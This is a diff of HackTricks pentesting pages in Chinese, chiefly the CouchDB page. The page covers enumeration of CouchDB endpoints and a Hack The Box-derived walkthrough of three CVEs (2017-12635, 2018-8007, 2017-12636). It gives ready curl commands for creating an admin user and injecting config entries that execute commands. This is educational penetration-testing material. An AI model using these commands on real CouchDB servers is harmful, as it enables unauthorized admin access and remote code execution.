- **afp-serverinfo**:提供有关 AFP 服务器的详细信息。
|
||||
- **afp-showmount**:列出可用的 AFP 共享及其各自的 ACL。
|
||||
|
||||
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#afp)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# 5984,6984 - Pentesting CouchDB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**CouchDB**是一种多功能且强大的**面向文档的数据库**,它使用**键-值映射**结构在每个**文档**内组织数据。文档内的字段可以表示为**键/值对、列表或映射**,提供了数据存储和检索的灵活性。
|
||||
**CouchDB** 是一个多功能且强大的 **文档导向数据库**,通过 **键值映射** 结构组织数据。文档中的字段可以表示为 **键/值对、列表或映射**,提供了数据存储和检索的灵活性。
|
||||
|
||||
在CouchDB中,每个存储的**文档**都被分配一个文档级别的**唯一标识符**(`_id`)。此外,对数据库进行的每次修改并保存都会被分配一个**修订号**(`_rev`)。这个修订号允许有效地**跟踪和管理更改**,便于在数据库内轻松检索和同步数据。
|
||||
每个存储在 CouchDB 中的 **文档** 都被分配一个 **唯一标识符** (`_id`)。此外,每次对数据库进行的修改和保存都会分配一个 **修订号** (`_rev`)。这个修订号允许有效的 **跟踪和管理更改**,便于在数据库中轻松检索和同步数据。
|
||||
|
||||
**默认端口:**5984(http),6984(https)
|
||||
**默认端口:** 5984(http),6984(https)
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
5984/tcp open unknown syn-ack
|
||||
|
@ -36,55 +37,55 @@ msf> use auxiliary/scanner/couchdb/couchdb_enum
|
|||
```
|
||||
curl http://IP:5984/
|
||||
```
|
||||
这会向已安装的CouchDB实例发出GET请求。回复应该类似于以下内容之一:
|
||||
这会向已安装的 CouchDB 实例发出 GET 请求。回复应该类似于以下之一:
|
||||
```bash
|
||||
{"couchdb":"Welcome","version":"0.10.1"}
|
||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
请注意,如果访问couchdb的根目录收到`401 Unauthorized`,类似于这样的消息:`{"error":"unauthorized","reason":"Authentication required."}` **您将无法访问**横幅或任何其他端点。
|
||||
注意,如果访问 couchdb 的根目录时收到 `401 Unauthorized`,内容类似于 `{"error":"unauthorized","reason":"Authentication required."}` **您将无法访问** 横幅或任何其他端点。
|
||||
{% endhint %}
|
||||
|
||||
### 信息枚举
|
||||
|
||||
以下是您可以使用**GET**请求访问并提取一些有趣信息的端点。您可以在[couchdb文档中找到更多端点和更详细的描述](https://docs.couchdb.org/en/latest/api/index.html)。
|
||||
这些是您可以通过 **GET** 请求访问并提取一些有趣信息的端点。您可以在 [**couchdb 文档中找到更多端点和更详细的描述**](https://docs.couchdb.org/en/latest/api/index.html)。
|
||||
|
||||
- **`/_active_tasks`** 正在运行的任务列表,包括任务类型、名称、状态和进程ID。
|
||||
- **`/_all_dbs`** 返回CouchDB实例中所有数据库的列表。
|
||||
- **`/_cluster_setup`** 返回节点或集群的状态,根据集群设置向导。
|
||||
- **`/_db_updates`** 返回CouchDB实例中所有数据库事件的列表。需要存在`_global_changes`数据库才能使用此端点。
|
||||
- **`/_membership`** 显示作为`cluster_nodes`的集群中的节点。字段`all_nodes`显示此节点知道的所有节点,包括作为集群一部分的节点。
|
||||
- **`/_scheduler/jobs`** 复制作业列表。每个作业描述将包括源和目标信息、复制ID、最近事件的历史记录等其他信息。
|
||||
- **`/_scheduler/docs`** 复制文档状态列表。包括所有文档的信息,甚至在`completed`和`failed`状态下。对于每个文档,它返回文档ID、数据库、复制ID、源和目标等信息。
|
||||
- **`/_scheduler/docs/{replicator_db}`**
|
||||
- **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
- **`/_node/{node-name}`** `/_node/{node-name}`端点可用于确认处理请求的服务器的Erlang节点名称。在访问`/_node/_local`以检索此信息时,这是最有用的。
|
||||
- **`/_node/{node-name}/_stats`** `_stats`资源返回包含运行服务器统计信息的JSON对象。字面字符串`_local`用作本地节点名称的别名,因此对于所有统计URL,可以将`{node-name}`替换为`_local`,以与本地节点的统计信息交互。
|
||||
- **`/_node/{node-name}/_system`** `_system`资源返回包含运行服务器各种系统级统计信息的JSON对象。您可以使用`_local`作为`{node-name}`来获取当前节点信息。
|
||||
- **`/_node/{node-name}/_restart`**
|
||||
- **`/_up`** 确认服务器正在运行并准备好响应请求。如果[`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode)为`true`或`nolb`,端点将返回404响应。
|
||||
- **`/_uuids`** 从CouchDB实例请求一个或多个通用唯一标识符(UUIDs)。
|
||||
- **`/_reshard`** 返回已完成、失败、运行、停止和总作业计数以及集群上resharding状态。
|
||||
* **`/_active_tasks`** 正在运行的任务列表,包括任务类型、名称、状态和进程 ID。
|
||||
* **`/_all_dbs`** 返回 CouchDB 实例中所有数据库的列表。
|
||||
* **`/_cluster_setup`** 返回节点或集群的状态,按照集群设置向导。
|
||||
* **`/_db_updates`** 返回 CouchDB 实例中所有数据库事件的列表。使用此端点需要 `_global_changes` 数据库的存在。
|
||||
* **`/_membership`** 显示作为 `cluster_nodes` 的集群成员节点。字段 `all_nodes` 显示此节点所知道的所有节点,包括集群中的节点。
|
||||
* **`/_scheduler/jobs`** 复制作业列表。每个作业描述将包括源和目标信息、复制 ID、最近事件的历史记录以及其他一些信息。
|
||||
* **`/_scheduler/docs`** 复制文档状态列表。包括所有文档的信息,即使在 `completed` 和 `failed` 状态下。对于每个文档,它返回文档 ID、数据库、复制 ID、源和目标以及其他信息。
|
||||
* **`/_scheduler/docs/{replicator_db}`**
|
||||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
* **`/_node/{node-name}`** `/_node/{node-name}` 端点可用于确认处理请求的服务器的 Erlang 节点名称。当访问 `/_node/_local` 以检索此信息时,这最为有用。
|
||||
* **`/_node/{node-name}/_stats`** `_stats` 资源返回一个 JSON 对象,包含正在运行的服务器的统计信息。字面字符串 `_local` 作为本地节点名称的别名,因此对于所有统计 URL,`{node-name}` 可以替换为 `_local`,以与本地节点的统计信息进行交互。
|
||||
* **`/_node/{node-name}/_system`** `_system` 资源返回一个 JSON 对象,包含正在运行的服务器的各种系统级统计信息。您可以使用 `_local` 作为 {node-name} 来获取当前节点信息。
|
||||
* **`/_node/{node-name}/_restart`**
|
||||
* **`/_up`** 确认服务器已启动、正在运行并准备响应请求。如果 [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) 为 `true` 或 `nolb`,则该端点将返回 404 响应。
|
||||
* **`/_uuids`** 从 CouchDB 实例请求一个或多个通用唯一标识符 (UUID)。
|
||||
* **`/_reshard`** 返回已完成、失败、正在运行、已停止和总作业的计数,以及集群上重新分片的状态。
|
||||
|
||||
可以提取更多有趣信息,如此处所述:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
可以提取更多有趣的信息,如此处所述:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
|
||||
### **数据库列表**
|
||||
```
|
||||
curl -X GET http://IP:5984/_all_dbs
|
||||
```
|
||||
如果该请求以401未经授权的方式回应,则您需要一些有效的凭据来访问数据库:
|
||||
如果该请求 **响应401未授权**,那么您需要一些 **有效凭据** 来访问数据库:
|
||||
```
|
||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||
```
|
||||
为了找到有效的凭证,您可以**尝试**[**暴力破解服务**](../generic-methodologies-and-resources/brute-force.md#couchdb)。
|
||||
为了找到有效的 Credentials,你可以 **尝试** [**暴力破解服务**](../generic-methodologies-and-resources/brute-force.md#couchdb)。
|
||||
|
||||
这是一个couchdb的**响应示例**,当您有**足够的权限**来列出数据库时(这只是一个数据库列表):
|
||||
这是一个 couchdb **响应** 的 **示例**,当你拥有 **足够的权限** 列出数据库时(这只是一个数据库列表):
|
||||
```bash
|
||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||
```
|
||||
### 数据库信息
|
||||
|
||||
您可以访问数据库名称来获取一些数据库信息(如文件数量和大小):
|
||||
您可以通过访问数据库名称来获取一些数据库信息(如文件数量和大小):
|
||||
```bash
|
||||
curl http://IP:5984/<database>
|
||||
curl http://localhost:5984/simpsons
|
||||
|
@ -117,38 +118,38 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
|||
#Example response:
|
||||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||||
```
|
||||
## CouchDB特权提升 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
## CouchDB 权限提升 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
|
||||
由于Erlang和JavaScript JSON解析器之间的差异,您可以使用以下请求**创建一个具有凭据`hacktricks:hacktricks`的管理员用户**:
|
||||
由于 Erlang 和 JavaScript JSON 解析器之间的差异,您可以通过以下请求**创建一个管理员用户**,凭据为 `hacktricks:hacktricks`:
|
||||
```bash
|
||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||
```
|
||||
[**有关此漏洞的更多信息请点击此处**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||
[**有关此漏洞的更多信息**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html)。
|
||||
|
||||
## CouchDB RCE
|
||||
|
||||
### **Erlang Cookie 安全概述**
|
||||
|
||||
示例[在这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
示例 [来自这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
|
||||
|
||||
在CouchDB文档中,特别是在有关集群设置的部分([链接](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)),讨论了CouchDB在集群模式下使用的端口。文档提到,与独立模式一样,端口`5984`被使用。此外,端口`5986`用于节点本地API,而重要的是,Erlang需要TCP端口`4369`用于Erlang Port Mapper Daemon (EPMD),促进Erlang集群内的节点通信。这种设置形成了一个网络,其中每个节点与其他每个节点都相互链接。
|
||||
在 CouchDB 文档中,特别是在有关集群设置的部分 ([链接](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)),讨论了 CouchDB 在集群模式下使用的端口。提到与独立模式一样,端口 `5984` 被使用。此外,端口 `5986` 用于节点本地 API,重要的是,Erlang 需要 TCP 端口 `4369` 用于 Erlang 端口映射守护进程 (EPMD),以促进 Erlang 集群内的节点通信。此设置形成了一个网络,其中每个节点与其他所有节点相互连接。
|
||||
|
||||
关于端口`4369`突出了一个关键的安全警报。如果此端口在互联网或任何不受信任的网络上可访问,系统的安全性将严重依赖于一个称为"cookie"的唯一标识符。这个cookie充当了一个保护措施。例如,在给定的进程列表中,可能会观察到名为"monster"的cookie,表明其在系统安全框架中的操作角色。
|
||||
关于端口 `4369` 的一个重要安全建议被强调。如果此端口在互联网上或任何不受信任的网络上可访问,系统的安全性在很大程度上依赖于一个称为“cookie”的唯一标识符。这个 cookie 充当了一个保护措施。例如,在给定的进程列表中,可能会观察到名为“monster”的 cookie,指示其在系统安全框架中的操作角色。
|
||||
```
|
||||
www-data@canape:/$ ps aux | grep couchdb
|
||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||
```
|
||||
对于那些想要了解如何在 Erlang 系统中利用这个 "cookie" 实现远程代码执行(RCE)的人,可以阅读专门的章节。该章节详细介绍了利用 Erlang cookie 以未经授权的方式控制系统的方法。您可以**[在这里查看有关滥用 Erlang cookie 实现 RCE 的详细指南](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。
|
||||
对于那些有兴趣了解如何在Erlang系统中利用这个“cookie”进行远程代码执行(RCE)的人,提供了一个专门的部分供进一步阅读。它详细说明了如何以未经授权的方式利用Erlang cookies 来控制系统。您可以 **[在这里探索关于滥用Erlang cookies 进行RCE的详细指南](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。
|
||||
|
||||
### **通过修改 local.ini 利用 CVE-2018-8007**
|
||||
|
||||
示例[在这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
|
||||
示例 [来自这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
|
||||
|
||||
最近披露的漏洞 CVE-2018-8007 影响了 Apache CouchDB,揭示了利用该漏洞需要对 `local.ini` 文件具有写入权限。尽管由于安全限制,这并不直接适用于初始目标系统,但为了探索目的,对 `local.ini` 文件进行了修改以授予写入访问权限。下面提供了详细的步骤和代码示例,演示了该过程。
|
||||
最近披露的漏洞 CVE-2018-8007 影响了 Apache CouchDB,研究表明,利用该漏洞需要对 `local.ini` 文件的写权限。尽管由于安全限制,无法直接应用于初始目标系统,但进行了修改以授予对 `local.ini` 文件的写访问权限以供探索。下面提供了详细的步骤和代码示例,演示了该过程。
|
||||
|
||||
首先,通过确保 `local.ini` 文件可写来准备环境,并通过列出权限进行验证:
|
||||
首先,通过确保 `local.ini` 文件可写来准备环境,通过列出权限进行验证:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# ls -l
|
||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||
|
@ -156,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
|
|||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||
```
|
||||
为了利用这个漏洞,执行一个curl命令,针对`local.ini`中的`cors/origins`配置。这会在`[os_daemons]`部分注入一个新的origin以及额外的命令,旨在执行任意代码:
|
||||
为了利用这个漏洞,执行一个 curl 命令,针对 `local.ini` 中的 `cors/origins` 配置。这会在 `[os_daemons]` 部分注入一个新的来源以及额外的命令,旨在执行任意代码:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||
```
|
||||
随后的验证显示在 `local.ini` 中注入的配置,将其与备份进行对比以突出显示更改:
|
||||
后续验证显示在 `local.ini` 中注入的配置,并与备份进行对比以突出变化:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||
119,124d118
|
||||
|
@ -169,77 +170,78 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
|||
< [os_daemons]
|
||||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||||
```
|
||||
最初,预期的文件(`/tmp/0xdf`)不存在,表明注入的命令尚未执行。进一步调查发现,与CouchDB 相关的进程正在运行,其中一个可能会执行注入的命令:
|
||||
最初,预期的文件(`/tmp/0xdf`)不存在,这表明注入的命令尚未执行。进一步调查显示,与CouchDB相关的进程正在运行,其中包括一个可能执行注入命令的进程:
|
||||
```bash
|
||||
root@canape:/home/homer/bin# ps aux | grep couch
|
||||
```
|
||||
通过终止已识别的CouchDB进程并允许系统自动重新启动,触发了注入命令的执行,通过之前丢失的文件的存在得到确认:
|
||||
通过终止识别出的CouchDB进程并允许系统自动重启它,注入命令的执行被触发,之前缺失的文件的存在证实了这一点:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# kill 711
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
/tmp/0xdf
|
||||
```
|
||||
这项探索确认了在特定条件下利用CVE-2018-8007的可行性,特别是需要对`local.ini`文件具有可写访问权限。提供的代码示例和操作步骤为在受控环境中复制利用漏洞提供了清晰指南。
|
||||
此探索确认了在特定条件下利用 CVE-2018-8007 的可行性,特别是对 `local.ini` 文件的可写访问要求。提供的代码示例和程序步骤为在受控环境中复制该漏洞提供了清晰的指南。
|
||||
|
||||
有关CVE-2018-8007的更多详细信息,请参考mdsec发布的公告:[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。
|
||||
有关 CVE-2018-8007 的更多详细信息,请参阅 mdsec 的公告:[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。
|
||||
|
||||
### **使用local.ini写权限探索CVE-2017-12636**
|
||||
### **使用对 local.ini 的写权限探索 CVE-2017-12636**
|
||||
|
||||
示例[在这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
|
||||
示例 [来自这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
|
||||
|
||||
探讨了一种名为CVE-2017-12636的漏洞,它通过CouchDB进程实现代码执行,尽管特定配置可能会阻止其利用。尽管在线上有许多可用的概念验证(POC)参考,但需要调整才能利用CouchDB版本2上的漏洞,与通常被瞄准的版本1.x不同。初始步骤涉及验证CouchDB版本并确认预期的查询服务器路径不存在。
|
||||
一个被称为 CVE-2017-12636 的漏洞被探索,该漏洞通过 CouchDB 进程启用代码执行,尽管特定配置可能会阻止其利用。尽管在线有许多概念验证 (POC) 参考,但在 CouchDB 版本 2 上利用该漏洞需要进行调整,这与常见的目标版本 1.x 不同。初始步骤包括验证 CouchDB 版本并确认预期的查询服务器路径不存在:
|
||||
```bash
|
||||
curl http://localhost:5984
|
||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||
```
|
||||
为了适应CouchDB 2.0版本,使用了新的路径:
|
||||
为了适应CouchDB版本2.0,使用了一个新路径:
|
||||
```bash
|
||||
curl 'http://0xdf:df@localhost:5984/_membership'
|
||||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||
```
|
||||
尝试添加和调用新的查询服务器时遇到了与权限相关的错误,如下输出所示:
|
||||
尝试添加和调用新的查询服务器时遇到了与权限相关的错误,如以下输出所示:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
进一步调查发现`local.ini`文件存在权限问题,无法写入。通过使用root或homer访问权限修改文件权限,就可以继续进行:
|
||||
进一步调查显示,`local.ini` 文件存在权限问题,无法写入。通过使用 root 或 homer 访问修改文件权限,可以继续进行:
|
||||
```bash
|
||||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||
chmod 666 /home/homer/etc/local.ini
|
||||
```
|
||||
随后尝试添加查询服务器成功,响应中没有错误消息。通过文件比较确认成功修改了 `local.ini` 文件:
|
||||
后续尝试添加查询服务器成功,响应中没有错误消息证明了这一点。通过文件比较确认了对 `local.ini` 文件的成功修改:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
接下来的过程包括创建一个数据库和一个文档,然后尝试通过自定义视图映射到新添加的查询服务器来执行代码:
|
||||
该过程继续创建一个数据库和一个文档,然后尝试通过映射到新添加的查询服务器的自定义视图执行代码:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||
```
|
||||
一个**[摘要](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)**和一个替代有效载荷提供了在特定条件下利用CVE-2017-12636的更多见解。利用此漏洞的**有用资源**包括:
|
||||
A **[summary](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** with an alternative payload provides further insights into exploiting CVE-2017-12636 under specific conditions. **有用的资源** for exploiting this vulnerability include:
|
||||
|
||||
- [POC利用代码](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Exploit Database条目](https://www.exploit-db.com/exploits/44913/)
|
||||
- [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Exploit Database entry](https://www.exploit-db.com/exploits/44913/)
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:5984 couchdb`
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,41 +2,42 @@
|
|||
|
||||
## 623/UDP/TCP - IPMI
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
